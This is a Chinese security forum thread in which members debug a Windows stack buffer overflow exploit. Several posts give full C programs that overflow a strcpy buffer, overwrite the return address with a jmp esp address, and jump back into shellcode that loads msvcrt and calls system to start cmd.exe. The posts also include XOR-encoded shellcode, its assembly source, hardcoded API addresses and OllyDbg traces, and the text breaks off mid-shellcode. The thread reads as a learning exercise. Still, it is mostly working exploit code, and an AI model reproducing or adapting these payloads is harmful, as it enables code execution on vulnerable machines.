26 12
发新话题
打印

[讨论]buffer overflow中jmp back向后跳转到shellcode?

[讨论]buffer overflow中jmp back向后跳转到shellcode?

议题作者:skyfloorone
信息来源:邪恶八进制信息安全团队(www.eviloctal.com

---soure
复制内容到剪贴板
代码:
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[] =

"\x55\x8B\xEC\x83\xEC\x0C\xB8\x4D\x53"
"\x56\x43\x89\x45\xF4\xB8\x52\x54\x2E"
"\x44\x89\x45\xF8\x66\xB8\x4C\x4C\x66"
"\x89\x45\xFC\x33\xD2\x66\x89\x55\xFE"
"\x8D\x45\xF4\x50\xB8"
"\xC4\xEF\xEB\x77"            //win2k chinese  sp4 loadlibrary地址0x77ebefc4
"\xFF\xD0\x55\x8B\xEC\x83\xEC\x0C\xB8"
"\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61"
"\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F"
"\x6D\x90\x89\x45\xFC\x33\xD2\x88\x55"
"\xFF\x8D\x45\xF4\x50\xB8"
"\xBF\x8E\x01\x78"           //win2k chinese  sp4 system地址0x78018ebf
"\xFF\xD0";           //93


#define  JMPESP  "\x12\x45\xfa\x7f"

#define  BACK "\xe9\x99\xff\xff\xff"
void overflow(char *str)
{
char buff[100];
strcpy(buff, str);
}

void main()
{

char buff[250];
for(int i =0; i<250; i++)
  buff[i]=&#39;\x90&#39;;
buff[250]=&#39;\x0&#39;;


//strcpy(buff+11,shellcode);
memcpy(buff+10,shellcode,sizeof(shellcode));

strcpy(buff+104,JMPESP);
strcpy(buff+108, BACK);


overflow(buff);
exit(0);
}
----------------

buff[]在内存中的情况:

0012FE84  90 90 90 90 90 90 90 90 90 90  悙悙悙悙悙
0012FE8E  55 8B EC 83 EC 0C B8 4D 53 56  U嬱冹.窶SV
0012FE98  43 89 45 F4 B8 52 54 2E 44 89  C塃舾RT.D.
0012FEA2  45 F8 66 B8 4C 4C 66 89 45 FC  E鴉窵Lf塃.
0012FEAC  33 D2 66 89 55 FE 8D 45 F4 50  3襢塙䦛E鬚
0012FEB6  B8 C4 EF EB 77 FF D0 55 8B EC  改镫w.蠻嬱
0012FEC0  83 EC 0C B8 63 6F 6D 6D 89 45  冹.竎omm塃
0012FECA  F4 B8 61 6E 64 2E 89 45 F8 B8  舾and.塃
0012FED4  63 6F 6D 90 89 45 FC 33 D2 88  com悏E.3覉
0012FEDE  55 FF 8D 45 F4 50 B8 BF 8E 01  U.岴鬚缚..
0012FEE8  78 FF D0 00 12 45 FA 7F E9 99  x....E?閺
0012FEF2  FF FF FF 00 90 90 90 90 90 90  ....悙悙悙

分析如下:
1:

    0012FE8E          0012FEF0
|________|_____________|___|____
      
0            xA              x68  x6c


x0012FE8E-x0012FEF0-x5="\xffffff99"

转移机器码 = “E9” + “99 FF FF FF” = E9 99 FF FF FF

理论上没有什么问题。
但是为什么不能跳转到我们的shellcode里去执行?而只是显示"Press any key to continue"

问:BACK 是多少?对应的机器码?才可以跳转到 shellcode 里去。


理论:
位移量 = 目的地址 - 起始地址 - 跳转指令本身的长度
转移指令机器码  = “转移类别机器码” + “位移量”
大惑者,终身不解

TOP

修改了一下代码:加上了exit(0);代码以0为参数调用exit函数,使应用程序以代码0退出运行。
但是这个简单的程序,还是不跳到shellcode  里去执行。大家一起来分析一下?有没有独特的见解。



---------------------------------------
#include <stdio.h>
#include <string.h>

char shellcode[] =
//size=0x70(112)
"\x55\x8B\xEC\x83\xEC\x0C\xB8\x4D\x53"
"\x56\x43\x89\x45\xF4\xB8\x52\x54\x2E"
"\x44\x89\x45\xF8\x66\xB8\x4C\x4C\x66"
"\x89\x45\xFC\x33\xD2\x66\x89\x55\xFE"
"\x8D\x45\xF4\x50\xB8"
"\xC4\xEF\xEB\x77"            //win2k chinese  sp4 loadlibrary地址0x77ebefc4
"\xFF\xD0\x55\x8B\xEC\x83\xEC\x0C\xB8"
"\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61"
"\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F"
"\x6D\x90\x89\x45\xFC\x33\xD2\x88\x55"
"\xFF\x8D\x45\xF4\x50\xB8"
"\xBF\x8E\x01\x78"           //win2k chinese  sp4 system地址0x78018ebf
"\xFF\xD0"
"\x55\x8B\xEC\x33\xC0"
"\x50\xBA\xFF\xFF\xFF\xFF\x81\xEA"
"\xAC\x83\xFF\x87"           //  exit  (0xFFFFFFFF  -  0x87FF83AC=0x78007c53)
"\xFF\xD2";      

#define  JMPESP  "\x12\x45\xfa\x7f"

#define  BACK        "\xe9\x88\xff"    //0x0012fd97- 0x0012fe0c-0x3=0xFF88      
void overflow(char *str)
{
char buff[120];
strcpy(buff, str);
}

void main()
{

char buff[500];
for(int i =0; i<500; i++)
  buff=0x90;
buff[500]=&#39;\x0&#39;;

memcpy(buff+11,shellcode,sizeof(shellcode)-1);
strcpy(buff+124,JMPESP);              
strcpy(buff+128,BACK);              
overflow(buff);

}
大惑者,终身不解

TOP

呵呵,我也在学这个.我用OD跟了一下,发现是这么回事:
看看buff的内容:
0012FE88  90 90 90 90 90 90 90 90 90 90 55 8B EC 83 EC 0C  悙悙悙悙悙U嬱冹.
0012FE98  B8 4D 53 56 43 89 45 F4 B8 52 54 2E 44 89 45 F8  窶SVC塃舾RT.D塃
0012FEA8  66 B8 4C 4C 66 89 45 FC 33 D2 66 89 55 FE 8D 45  f窵Lf塃?襢塙䦛E
0012FEB8  F4 50 B8 C4 EF EB 77 FF D0 55 8B EC 83 EC 0C B8  鬚改镫w蠻嬱冹.
0012FEC8  63 6F 6D 6D 89 45 F4 B8 61 6E 64 2E 89 45 F8 B8  comm塃舾and.塃
0012FED8  63 6F 6D 90 89 45 FC 33 D2 88 55 FF 8D 45 F4 50  com悏E?覉U岴鬚
0012FEE8  B8 BF 8E 01 78 FF D0 00 12 45 FA 7F E9 99 FF FF  缚?x?E?闄
0012FEF8  FF 00 90 90 90 90 90 90 90 90 90 90 90 90 90    .悙悙悙悙悙悙悙

1,在你的shellcode中多处出现了00,出现00之后shellcode就被阻断了啊,strcpy判断复制长度是按00出现的位置来的.呵呵 (为什么出现了00呢?因为你的shellcode[]就是用""定义的,这样就是默认以00结尾,呵呵)
2,你JMPESP的位置没有放正确.应该正好是100,而不是100+4

memcpy(buff+10,shellcode,sizeof(shellcode)-1);
strcpy(buff+100,JMPESP);
strcpy(buff+104, BACK);

才对,但是我用的是xp,所以上面shellcode中对应的api地址应该修改后才能测试.
你先看看吧.我等下再测试.
http://hi.baidu.com/anuiz anuiz#163.com

TOP

多谢指正
1:memcpy(buff+10,shellcode,sizeof(shellcode));  
修改为:memcpy(buff+10,shellcode,sizeof(shellcode)-1);

2:win32 X86 是四个字节对齐。buff+104 =======JMPESP
你想想对不对?


----附上:LocalAddress.cpp


#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{  
    HINSTANCE LibHandle;
    MYPROC ProcAdd;
     LibHandle = LoadLibrary("msvcrt");
    printf("msvcrt LibHandle = 0x%x\n", LibHandle);
    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");  
    printf("system = 0x%x\n", ProcAdd);

    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"exit");  
           printf("exit = 0x%x\n", ProcAdd);

    LibHandle = LoadLibrary("kernel32");
    printf("kernel32 LibHandle = 0x%x\n", LibHandle);
    ProcAdd=(MYPROC)GetProcAddress(LibHandle,"LoadLibraryA");  
    printf("LoadLibrary = 0x%x\n", ProcAdd);
    return 0;
}
大惑者,终身不解

TOP

虫虫发现的两个问题是没错,不过解决的办法有点问题。

有两点:

1。该shellcode拷贝到缓冲区的时候是在11-103的位置,如果你把jmp esp放到100的位置,这个shellcode的尾巴就给覆盖了,会造成运行错误。

2。把back的位置从108修改到104也要相应的调整back的值,back里面的值是相对跳转。不修改的话肯定会跳错位置,指令就全错了。
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

sky,如果写入的位置是104,那么数据将写到104,105,106,107上。
如果写入的位置是100,那么数据会写到100,101,102,103上。

你第一段代码之所以没有虫虫说的00的问题是因为你本身shellcode就已经把eip的位置给覆盖了。jmp esp的代码根本没有用上。
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

至于你说的那个"Press any key to continue",哈哈,你用的是vc吧,这玩意是vc的东西,不是你程序的。你的程序在出现"Press any key to continue"之前已经死了,因为跳到了一个指令无效的地方。

back的地址你自己算,就是一个负数(当前地址距离shellcode开头,应该是-104吧),然后算出这个负数的补码就是了。
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

呵呵,出来这么多的答案。多谢支持!
现在,就第一楼的代码,请大家给出要改的地方,使程序正常运行到 shellcode 里去!
大惑者,终身不解

TOP

[1 楼]可以看到,buff我们是在100,32位系统针对数组进行四位对齐,所以实际缓冲区是
100,加上EBP占去4个字节,就是100+4=104,那么,ret就是第104字节了。
大惑者,终身不解

TOP

阁下是来问问题的还是来出作业给别人做的?

你看过别人的帖子了么?我实在不想说这么简单的东西,也提示了这么多了,为什么自己不去思考一下。

要代码还不容易么?楼主只想要代码的话,我下次知道怎么回你的帖了。
复制内容到剪贴板
代码:
#include <stdio.h>
#include <string.h>
#include <windows.h>
char shellcode[] =
"\x55\x8B\xEC\x83\xEC\x0C\xB8\x4D\x53\x56\x43\x89\x45\xF4\xB8\x52"
"\x54\x2E\x44\x89\x45\xF8\x66\xB8\x4C\x4C\x66\x89\x45\xFC\x33\xD2"
"\x66\x89\x55\xFE\x8D\x45\xF4\x50\xB8"
"\xC4\xEF\xEB\x77"         //win2k chinese sp4 loadlibrary地址0x77ebefc4
"\xFF\xD0\x55\x8B\xEC\x83\xEC\x0C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4"
"\xB8\x61\x6E\x64\x2E\x89\x45\xF8\xB8\x63\x6F\x6D\x90\x89\x45\xFC"
"\x33\xD2\x88\x55\xFF\x8D\x45\xF4\x50\xB8"
"\xBF\x8E\x01\x78"        //win2k chinese sp4 system地址0x78018ebf
"\xFF\xD0";        //93


#define JMPESP "\x12\x45\xfa\x7f"

#define BACK "\xe9\x98\xff\xff\xff"
void overflow(char *str)
{
  char buff[100];
  strcpy(buff, str);
}

void main()
{
  char buff[256];
  memset(buff,0x90,256);
  memcpy(buff+5,shellcode,sizeof(shellcode)-1);
  strcpy(buff+100,JMPESP);
  strcpy(buff+104, BACK);
  overflow(buff);
  exit(0);
}
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

引用:
这里是引用第[8 楼]skyfloorone2006-05-09 16:01发表的:
[1 楼]可以看到,buff我们是在100,32位系统针对数组进行四位对齐,所以实际缓冲区是
100,加上EBP占去4个字节,就是100+4=104,那么,ret就是第104字节了。
push ebp这种栈框架在debug版本会出现,release版本的栈框架被编译器优化了,特别是像这么简单的代码,没有push ebp。直接sub asp然后恢复。
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

我只想把这个问题搞清楚。在科学面前,只有事实。

我测试你给的代码:(而在我的win2k sp4  /VC6.0  )

  "0xffff98e9" 指令引用的"0xffff98e9"不能读。

我以前测试也是这个问题,相信你也明白是什么问题。


哦,现在为什么定点可以,但是就是不能执行到shellcode里。


[7 楼]写的内容。

我的意图:是让大家测试一下。看是不是,真有这个
问题,还是编译器的问题?看来,我是南辕北辙了。
呵呵,有点不好的意思。
大惑者,终身不解

TOP

请用release版本编译,然后用调试器调试。

我给的代码绝对是测试过的(windows xp + sp2 + vc6.0 + release版本),会出错的代码难道拿出来找骂吗?那个关键的jmp esp在我的机器上也是一样,没有改。按理说应该通用。

用ollydbg调试,显示代码已经进到shellcode内部,之后的出错就是你自己的shellcode的问题了。

"0xffff98e9" 指令引用的"0xffff98e9"不能读。

你肯定是用debug版本测试的,我10楼的帖子你看了?。
流氓会武术,谁都挡不住. http://hi.baidu.com/zvrop

TOP

对头,release ---debug的 问题。
简单说:对于EIP  :  ( release - 4 )address  =  (debug) address


学习中!
大惑者,终身不解

TOP

ZV,说的没有错,已经成功进入到你的shellcode里面了
00401028  |.  F3:A4      rep    movs byte ptr es:[edi], byte ptr>
0040102A  |.  5F        pop    edi
0040102B  |.  5E        pop    esi
0040102C  |.  83C4 64     add    esp, 64
0040102F  \.  C3        retn                          

这个返回到了这里:
7FFA4512  - FFE4   jmp    esp  ;F7进去,而且这个FFFA4512不就正好是你的那个JMPESP吗?
此时
esp=0012FE78


F7进去到这里:
0012FE78 E9 98FFFFFF jmp 0012FE15;下面的F7从这里进去,98FFFFFF不就是你的BACK吗?

F7进去到这里:
0012FE15   55          push   ebp
0012FE16   8BEC        mov    ebp, esp
0012FE18   83EC 0C      sub    esp, 0C
0012FE1B   B8 4D535643    mov    eax, 4356534D
0012FE20   8945 F4      mov    [ebp-C], eax
0012FE23   B8 52542E44    mov    eax, 442E5452
0012FE28   8945 F8      mov    [ebp-8], eax
0012FE2B   66:B8 4C4C    mov    ax, 4C4C
0012FE2F   66:8945 FC    mov    [ebp-4], ax
0012FE33   33D2        xor    edx, edx
0012FE35   66:8955 FE    mov    [ebp-2], dx
0012FE39   8D45 F4      lea    eax, [ebp-C]
0012FE3C   50          push   eax
0012FE3D   B8 C42F887C    mov    eax, kernel32.LoadLibraryA
0012FE42   FFD0        call   eax                    ; kernel32.LoadLibraryA


F7再次进去:
7C882FC4 >- E9 1850BA78    jmp    F5427FE1
这个时候跳到F5427FE1,这里面什么都没有了,全部为空,
就出错了。
所以问题已经像ZV所说的,是你的shellcode问题了!这个问题已经算已经解决了吧!
垃圾一个,00...

TOP

#include <stdio.h>
#include <string.h>
#include <windows.h>
/*
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\x8D\x45\xF4\x50\xBA"
"\xC4\x2F\x88\x7C"    //LoadLibrary 7c82fc4h,xp sp2
"\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xC7\x93\xBF\x77"    //system 77bf93c7h,xp sp2
"\xFF\xD0";

*/
char  shellcode[] = "\xEB"
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xC4\xC7\x1C\x70\x14\x79\xB5\x95\x95\x95\xA4\x5C\x53\xD0\x60\xF8\x53\xD0\x63"
"\xE6\x53\xD0\x62\xE3\x53\xD0\x6D\xF6\x53\xD0\x6C\xE7\x53\xD0\x6F\xE1\x53\xD0\x6E"
"\xBB\x53\xD0\x69\xF1\x53\xD0\x68\xF9\x53\xD0\x6B\xF9\x53\xD0\x6A\x95\x18\xD0\x60"
"\xC5\x2C\x51\xBA\x1D\xE9\x6A\x44\x1C\x57\x53\xD0\x6D\xE6\x53\xD0\x6C\xEC\x53\xD0"
"\x6F\xE6\x53\xD0\x6E\xE1\x53\xD0\x69\xF0\x53\xD0\x68\xF8\x53\xD0\x6B\x95\x18\xD0"
"\x6D\xC5\xC7\x2C\xBD\x39\x15\xE9\x6A\x44\x1C\x57\x53\xD0\x60\xF6\x53\xD0\x63\xF8"
"\x53\xD0\x62\xF1\x53\xD0\x6D\xBB\x53\xD0\x6C\xF0\x53\xD0\x6F\xED\x53\xD0\x6E\xF0"
"\x53\xD0\x69\x95\x18\xD0\x60\xC5\x6A\x47\x14\x51\x91\x95\x95\x95\x1C\x79\xCF\xCC"
"\x95\x95\x68\x61\x63\x6B\xCD";

#define JMPESP "\x12\x45\xfa\x7f"
#define BACK "\xe9\x35\xff\xff\xff"
void overflow(char *str)
{
  char buff[196];
  strcpy(buff, str);
}

void main()
{
  //printf("%d",strlen(shellcode));
  //((void(*) (void)) &shellcode)();

  char buff[256];
  memset(buff,0x90,256);
  memcpy(buff+5,shellcode,sizeof(shellcode)-1);
  strcpy(buff+196,JMPESP);
  strcpy(buff+200, BACK);
  overflow(buff);
  exit(0);
/*  _asm
  {

      lea eax,shellcode
      call eax
  }*/

}
今天自己写了一段shellcode,调试成功进入到了shellcode部分,但是问题还是和sky的一样,就是到
0012FE42  FFD0      call  eax              ; kernel32.LoadLibraryA
还是出错!
我用的是asm-2-shellcode工具转换的shellcode。
利用
_asm
  {

      lea eax,shellcode
      call eax
  }
shellcode成功打开CMD.exe
但是为什么到shellcode里面就无法 LoadLibrary(msvcrt.dll)了呢,调试中发现msvsrt.dll已经到eax里面了!
垃圾一个,00...

TOP

ASM原始部分:
__asm
{//在这里模拟出一个函数体内的程序结构,我们自己分配空间来存

储"msvcrt.dll","system","cmd.exe"三个字串
push ebp
push ecx
push edx
mov ebp,esp
sub esp,20h//分配32(0x20)个字节就已经够用了
xor ecx,ecx
/**************************************/
//调用LoadLibrary函数装载msvcrt.dll
mov byte ptr [ebp-0bh],&#39;m&#39;
mov byte ptr [ebp-0ah],&#39;s&#39;
mov byte ptr [ebp-09h],&#39;v&#39;
mov byte ptr [ebp-08h],&#39;c&#39;
mov byte ptr [ebp-07h],&#39;r&#39;
mov byte ptr [ebp-06h],&#39;t&#39;
mov byte ptr [ebp-05h],&#39;.&#39;
mov byte ptr [ebp-04h],&#39;d&#39;
mov byte ptr [ebp-03h],&#39;l&#39;
mov byte ptr [ebp-02h],&#39;l&#39;
mov byte ptr [ebp-01h],0
lea eax,[ebp-0bh]
push eax
mov ecx,7c882fc4h;//<=----LoadLibrary函数地址,SP XP2
call ecx
mov edx,eax//保存装载后msvcrt.dll在内存中的起始地址
//调用GetProcAddress取得system函数起址
mov byte ptr [ebp-0bh],&#39;s&#39;
mov byte ptr [ebp-0ah],&#39;y&#39;
mov byte ptr [ebp-09h],&#39;s&#39;
mov byte ptr [ebp-08h],&#39;t&#39;
mov byte ptr [ebp-07h],&#39;e&#39;
mov byte ptr [ebp-06h],&#39;m&#39;
mov byte ptr [ebp-05h],0
lea eax,[ebp-0bh]
push eax
push edx
mov ecx,7c80ac28h;//<=----GetProcAddress函数地址,SP XP2
call ecx
mov edx,eax//保存获得的system函数在内存中的起始地址
//调用system开启cmd环境
mov byte ptr [ebp-0bh],&#39;c&#39;
mov byte ptr [ebp-0ah],&#39;m&#39;
mov byte ptr [ebp-09h],&#39;d&#39;
mov byte ptr [ebp-08h],&#39;.&#39;
mov byte ptr [ebp-07h],&#39;e&#39;
mov byte ptr [ebp-06h],&#39;x&#39;
mov byte ptr [ebp-05h],&#39;e&#39;
mov byte ptr [ebp-04h],0
lea eax,[ebp-0bh]
push eax
call edx
add esp,4;//system函数使用C调用约定(它的原型没有使用WINAPI这样的标识符)

由调用者调整堆栈
/**************************************/
mov esp,ebp
pop edx
pop ecx
pop ebp
}




利用OD指提取ASM部分
push   ebp
  push   ecx
  push   edx
  mov    ebp, esp
  sub    esp, 20
  xor    ecx, ecx
  mov    byte  [ebp-B], 6D
  mov    byte  [ebp-A], 73
  mov    byte  [ebp-9], 76
  mov    byte  [ebp-8], 63
  mov    byte  [ebp-7], 72
  mov    byte  [ebp-6], 74
  mov    byte  [ebp-5], 2E
  mov    byte  [ebp-4], 64
  mov    byte  [ebp-3], 6C
  mov    byte  [ebp-2], 6C
  mov    byte  [ebp-1], 0
  lea    eax, [ebp-B]
  push   eax
  mov    ecx, kernel32.LoadLibraryA
  call   ecx
  mov    edx, eax
  mov    byte  [ebp-8], 73
  mov    byte  [ebp-7], 79
  mov    byte  [ebp-6], 73
  mov    byte  [ebp-5], 74
  mov    byte  [ebp-4], 65
  mov    byte  [ebp-3], 6D
  mov    byte  [ebp-2], 0
  lea    eax, [ebp-8]
  push   eax
  push   edx
  mov    ecx, kernel32.GetProcAddress
  call   ecx
  mov    edx, eax
  mov    byte  [ebp-B], 63
  mov    byte  [ebp-A], 6D
  mov    byte  [ebp-9], 64
  mov    byte  [ebp-8], 2E
  mov    byte  [ebp-7], 65
  mov    byte  [ebp-6], 78
  mov    byte  [ebp-5], 65
  mov    byte  [ebp-4], 0
  lea    eax, [ebp-B]
  push   eax
  call   edx
  add    esp, 4
  mov    esp, ebp
  pop    edx
  pop    ecx
  pop    ebp
  pop    ebp
  retn


去掉首尾的,push   ebp,  pop    ebp, retn,然后利用asm_2_shellcode辅助提取shellcode
对于asm_2_shellcode还需要一些工作,除 了作者的要求外,要需要把
  mov    byte  [ebp-B], 6D
  mov    byte  [ebp-A], 73
在 6D后面要加上h,然后把[ebp-B]字母转化为11,否则nasm会提示错误!

附上shellcode部分的asm:
BITS 32
push   ecx
push   edx
mov    ebp, esp
sub    esp, 20h
xor    ecx, ecx
mov    byte  [ebp-11], 6Dh
mov    byte  [ebp-10], 73h
mov    byte  [ebp-9], 76h
mov    byte  [ebp-8], 63h
mov    byte  [ebp-7], 72h
mov    byte  [ebp-6], 74h
mov    byte  [ebp-5], 2Eh
mov    byte  [ebp-4], 64h
mov    byte  [ebp-3], 6Ch
mov    byte  [ebp-2], 6Ch
mov    byte  [ebp-1], 0h
lea    eax, [ebp-11]
push   eax
mov    ecx, 7c882fc4h;这个地址是kernel32.LoadLibraryA函数地址
call   ecx
mov    edx, eax
mov    byte  [ebp-8], 73h
mov    byte  [ebp-7], 79h
mov    byte  [ebp-6], 73h
mov    byte  [ebp-5], 74h
mov    byte  [ebp-4], 65h
mov    byte  [ebp-3], 6Dh
mov    byte  [ebp-2], 0h
lea    eax, [ebp-8]
push   eax
push   edx
mov    ecx, 7c80ac28h;这个是kernel32.GetProADDRESS地址
call   ecx
mov    edx, eax
mov    byte  [ebp-11], 63h
mov    byte  [ebp-10], 6Dh
mov    byte  [ebp-9], 64h
mov    byte  [ebp-8], 2Eh
mov    byte  [ebp-7], 65h
mov    byte  [ebp-6], 78h
mov    byte  [ebp-5], 65h
mov    byte  [ebp-4], 0h
lea    eax, [ebp-11]
push   eax
call   edx
add    esp, 4
mov    esp, ebp
pop    edx
pop    ecx

这个段是按asm_2_shellcode 的程序整理后的asm
下面是asm_2_shellcode提取到的shellcode:
shellcode[] = "\xEB"
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xC4\xC7\x1C\x70\x14\x79\xB5\x95\x95\x95\xA4\x5C\x53\xD0\x60\xF8\x53\xD0\x63"
"\xE6\x53\xD0\x62\xE3\x53\xD0\x6D\xF6\x53\xD0\x6C\xE7\x53\xD0\x6F\xE1\x53\xD0\x6E"
"\xBB\x53\xD0\x69\xF1\x53\xD0\x68\xF9\x53\xD0\x6B\xF9\x53\xD0\x6A\x95\x18\xD0\x60"
"\xC5\x2C\x51\xBA\x1D\xE9\x6A\x44\x1C\x57\x53\xD0\x6D\xE6\x53\xD0\x6C\xEC\x53\xD0"
"\x6F\xE6\x53\xD0\x6E\xE1\x53\xD0\x69\xF0\x53\xD0\x68\xF8\x53\xD0\x6B\x95\x18\xD0"
"\x6D\xC5\xC7\x2C\xBD\x39\x15\xE9\x6A\x44\x1C\x57\x53\xD0\x60\xF6\x53\xD0\x63\xF8"
"\x53\xD0\x62\xF1\x53\xD0\x6D\xBB\x53\xD0\x6C\xF0\x53\xD0\x6F\xED\x53\xD0\x6E\xF0"
"\x53\xD0\x69\x95\x18\xD0\x60\xC5\x6A\x47\x14\x51\x91\x95\x95\x95\x1C\x79\xCF\xCC"
"\x95\x95\x68\x61\x63\x6B\xCD";

看看这样弄的shellcode放到程序里面是不是也有问题呢?
单独执行shellcode成功!
垃圾一个,00...

TOP

把一切能写的都写了出来,全部是为了API服务。哎,什么都不管了,API啊API
论坛地址: http://www.ssk2.cn & www.iisuser.com

TOP

softbug,什么意思啊?现在已经进入到shellcode部分了,但是到LoadLibrary(msvcrt.dll)就不行了,郁闷!你调试一下看看!我找不到原因了!
垃圾一个,00...

TOP

似乎找到了问题所在:
因为在release版本里程序自动平衡了堆栈
复制内容到剪贴板
代码:
00401000    83EC 64     sub    esp, 64 <<<<<----这里申请堆栈空间
00401003    83C9 FF     or    ecx, FFFFFFFF
00401006    33C0       xor    eax, eax
00401008    8D5424 00    lea    edx, [esp]
0040100C    56        push   esi
0040100D    57        push   edi
0040100E    8B7C24 70    mov    edi, [esp+70]
00401012    F2:AE      repne  scas byte ptr es:[edi]
00401014    F7D1       not    ecx
00401016    2BF9       sub    edi, ecx
00401018  |.  8BC1       mov    eax, ecx
0040101A  |.  8BF7       mov    esi, edi
0040101C  |.  8BFA       mov    edi, edx
0040101E  |.  C1E9 02     shr    ecx, 2
00401021  |.  F3:A5      rep    movs dword ptr es:[edi], dword p>
00401023  |.  8BC8       mov    ecx, eax
00401025  |.  83E1 03     and    ecx, 3
00401028  |.  F3:A4      rep    movs byte ptr es:[edi], byte ptr>
0040102A  |.  5F        pop    edi
0040102B  |.  5E        pop    esi
0040102C  |.  83C4 64     add    esp, 64  <<<<<<<<!!!!!!在这里已经放掉了
0040102F  \.  C3        retn
导致shellcode已经位于不可使用的空间.在shellcode调用api的过程中,系统会使用到shellcode所在的空间从而导致shellcode代码被覆盖.
http://hi.baidu.com/anuiz anuiz#163.com

TOP

EST 是给我们提供了这么一个空间。让我们大家在这个平台上学习。讨论问题。
每一位朋友的发言,都给我了帮助。
大惑者,终身不解

TOP

在我们shellcode的前面程序也会分配了一定空间,看:
push  ecx
push  edx
mov  ebp, esp
sub  esp, 20h
xor  ecx, ecx
分配了32个字节,虫虫说的:“导致shellcode已经位于不可使用的空间”我觉得不对!
但是
“在shellcode调用api的过程中,系统会使用到shellcode所在的空间从而导致shellcode代码被覆盖.”
这个到有可能!
不过我觉得应该不会,系统每次要使用stack的时候会首先分配,使用完后会自动释放,而且在使用寄存器的时候都先入stack保存现场,然后结束会自动恢复的!
所以我觉得虫虫的说话不对。
因为调整还是不行!
垃圾一个,00...

TOP

今天早上起来又弄一下,竟然成功了,估计虫虫说的没有错。
push   ecx
push   edx
mov    ebp, esp
sub    esp, 100h  ;刚开始给20H不行,给64H也不行,今天索性就给大一点100H
xor    ecx, ecx
mov    byte  [ebp-11], 6Dh
mov    byte  [ebp-10], 73h
mov    byte  [ebp-9], 76h
mov    byte  [ebp-8], 63h
mov    byte  [ebp-7], 72h
mov    byte  [ebp-6], 74h
mov    byte  [ebp-5], 2Eh
mov    byte  [ebp-4], 64h
mov    byte  [ebp-3], 6Ch
mov    byte  [ebp-2], 6Ch
mov    byte  [ebp-1], 0h
lea    eax, [ebp-11]
push   eax
mov    ecx, 7c882fc4h
call   ecx
mov    edx, eax
mov    byte  [ebp-8], 73h
mov    byte  [ebp-7], 79h
mov    byte  [ebp-6], 73h
mov    byte  [ebp-5], 74h
mov    byte  [ebp-4], 65h
mov    byte  [ebp-3], 6Dh
mov    byte  [ebp-2], 0h
lea    eax, [ebp-8]
push   eax
push   edx
mov    ecx, 7c80ac28h
call   ecx
mov    edx, eax
mov    byte  [ebp-11], 63h
mov    byte  [ebp-10], 6Dh
mov    byte  [ebp-9], 64h
mov    byte  [ebp-8], 2Eh
mov    byte  [ebp-7], 65h
mov    byte  [ebp-6], 78h
mov    byte  [ebp-5], 65h
mov    byte  [ebp-4], 0h
lea    eax, [ebp-11]
push   eax
call   edx
add    esp, 100h
mov    esp, ebp
pop    edx
pop    ecx

上面我调整了那个栈的大小,给100H,然后编译shellcode
shellcode[] = "\xEB"
"\x0F\x58\x80\x30\x95\x40\x81\x38\x68\x61\x63\x6B\x75\xF4\xEB\x05\xE8\xEC\xFF\xFF"
"\xFF\xC4\xC7\x1C\x70\x14\x79\x95\x94\x95\x95\xA4\x5C\x53\xD0\x60\xF8\x53\xD0\x63"
"\xE6\x53\xD0\x62\xE3\x53\xD0\x6D\xF6\x53\xD0\x6C\xE7\x53\xD0\x6F\xE1\x53\xD0\x6E"
"\xBB\x53\xD0\x69\xF1\x53\xD0\x68\xF9\x53\xD0\x6B\xF9\x53\xD0\x6A\x95\x18\xD0\x60"
"\xC5\x2C\x51\xBA\x1D\xE9\x6A\x44\x1C\x57\x53\xD0\x6D\xE6\x53\xD0\x6C\xEC\x53\xD0"
"\x6F\xE6\x53\xD0\x6E\xE1\x53\xD0\x69\xF0\x53\xD0\x68\xF8\x53\xD0\x6B\x95\x18\xD0"
"\x6D\xC5\xC7\x2C\xBD\x39\x15\xE9\x6A\x44\x1C\x